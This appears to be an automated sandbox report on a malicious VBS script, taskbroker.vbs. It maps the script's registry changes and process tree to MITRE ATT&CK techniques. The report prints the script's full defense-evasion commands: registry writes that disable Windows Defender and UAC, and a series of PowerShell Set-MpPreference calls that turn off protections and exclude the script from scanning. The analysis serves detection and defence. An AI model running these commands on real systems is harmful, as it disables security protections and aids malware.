af65072fd228a47cc3e8a8d1461688c1b53c2ec91949b472decba4d97289253b

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	WScript.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	WScript.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	WScript.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	WScript.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	WScript.exe

Modifies security service 2 TTPs 1 IoCs

defense_evasion

Modify Registry

Windows Service

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"	WScript.exe

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	WScript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5672	powershell.exe
1476	powershell.exe
2152	powershell.exe
5208	powershell.exe
2024	powershell.exe
2296	powershell.exe
4336	powershell.exe
5244	powershell.exe
4780	powershell.exe
4024	powershell.exe
2284	powershell.exe
5248	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\Control Panel\International\Geo\Nation	WScript.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

defense_evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 39 IoCs

pid	Process
4024	powershell.exe
2296	powershell.exe
2296	powershell.exe
2284	powershell.exe
2284	powershell.exe
5248	powershell.exe
5248	powershell.exe
2284	powershell.exe
4336	powershell.exe
4336	powershell.exe
5208	powershell.exe
5208	powershell.exe
2152	powershell.exe
2152	powershell.exe
1476	powershell.exe
1476	powershell.exe
5244	powershell.exe
5244	powershell.exe
4780	powershell.exe
4780	powershell.exe
2152	powershell.exe
2024	powershell.exe
2024	powershell.exe
5672	powershell.exe
5672	powershell.exe
4024	powershell.exe
4024	powershell.exe
2296	powershell.exe
2296	powershell.exe
5248	powershell.exe
5248	powershell.exe
5208	powershell.exe
4336	powershell.exe
4336	powershell.exe
1476	powershell.exe
5244	powershell.exe
4780	powershell.exe
2024	powershell.exe
5672	powershell.exe

Suspicious use of AdjustPrivilegeToken 12 IoCs

description	pid	Process
Token: SeDebugPrivilege	4024	powershell.exe
Token: SeDebugPrivilege	2296	powershell.exe
Token: SeDebugPrivilege	2284	powershell.exe
Token: SeDebugPrivilege	5248	powershell.exe
Token: SeDebugPrivilege	4336	powershell.exe
Token: SeDebugPrivilege	5208	powershell.exe
Token: SeDebugPrivilege	1476	powershell.exe
Token: SeDebugPrivilege	2152	powershell.exe
Token: SeDebugPrivilege	5244	powershell.exe
Token: SeDebugPrivilege	4780	powershell.exe
Token: SeDebugPrivilege	2024	powershell.exe
Token: SeDebugPrivilege	5672	powershell.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 2276 wrote to memory of 1336	2276	WScript.exe	85
PID 2276 wrote to memory of 1336	2276	WScript.exe	85
PID 1336 wrote to memory of 4024	1336	WScript.exe	86
PID 1336 wrote to memory of 4024	1336	WScript.exe	86
PID 1336 wrote to memory of 2284	1336	WScript.exe	88
PID 1336 wrote to memory of 2284	1336	WScript.exe	88
PID 1336 wrote to memory of 2296	1336	WScript.exe	90
PID 1336 wrote to memory of 2296	1336	WScript.exe	90
PID 1336 wrote to memory of 4336	1336	WScript.exe	92
PID 1336 wrote to memory of 4336	1336	WScript.exe	92
PID 1336 wrote to memory of 5248	1336	WScript.exe	94
PID 1336 wrote to memory of 5248	1336	WScript.exe	94
PID 1336 wrote to memory of 1476	1336	WScript.exe	96
PID 1336 wrote to memory of 1476	1336	WScript.exe	96
PID 1336 wrote to memory of 2152	1336	WScript.exe	98
PID 1336 wrote to memory of 2152	1336	WScript.exe	98
PID 1336 wrote to memory of 5208	1336	WScript.exe	100
PID 1336 wrote to memory of 5208	1336	WScript.exe	100
PID 1336 wrote to memory of 5244	1336	WScript.exe	102
PID 1336 wrote to memory of 5244	1336	WScript.exe	102
PID 1336 wrote to memory of 4780	1336	WScript.exe	104
PID 1336 wrote to memory of 4780	1336	WScript.exe	104
PID 1336 wrote to memory of 2024	1336	WScript.exe	106
PID 1336 wrote to memory of 2024	1336	WScript.exe	106
PID 1336 wrote to memory of 5672	1336	WScript.exe	108
PID 1336 wrote to memory of 5672	1336	WScript.exe	108

System policy modification 1 TTPs 2 IoCs

defense_evasion

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	WScript.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	WScript.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\taskbroker.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2276
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\taskbroker.vbs" /elevate
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  - Modifies Windows Defender Real-time Protection settings
  - Modifies security service
  - UAC bypass
  - Checks computer location settings
  - Checks whether UAC is enabled
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:1336
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Set-MpPreference -DisableRealtimeMonitoring $true
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4024
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Set-MpPreference -DisableBehaviorMonitoring $true
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2284
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Set-MpPreference -DisableBlockAtFirstSeen $true
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2296
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Set-MpPreference -DisableIOAVProtection $true
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4336
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Set-MpPreference -DisableScriptScanning $true
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5248
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Set-MpPreference -SubmitSamplesConsent 2
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1476
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Set-MpPreference -MAPSReporting 0
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2152
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Set-MpPreference -HighThreatDefaultAction 6 -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5208
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Set-MpPreference -ModerateThreatDefaultAction 6
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5244
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Set-MpPreference -LowThreatDefaultAction 6
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4780
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Set-MpPreference -SevereThreatDefaultAction 6
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2024
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\taskbroker.vbs"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5672

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Create or Modify System Process

T1543

Windows Service

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Create or Modify System Process

T1543

Windows Service

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

Modify Registry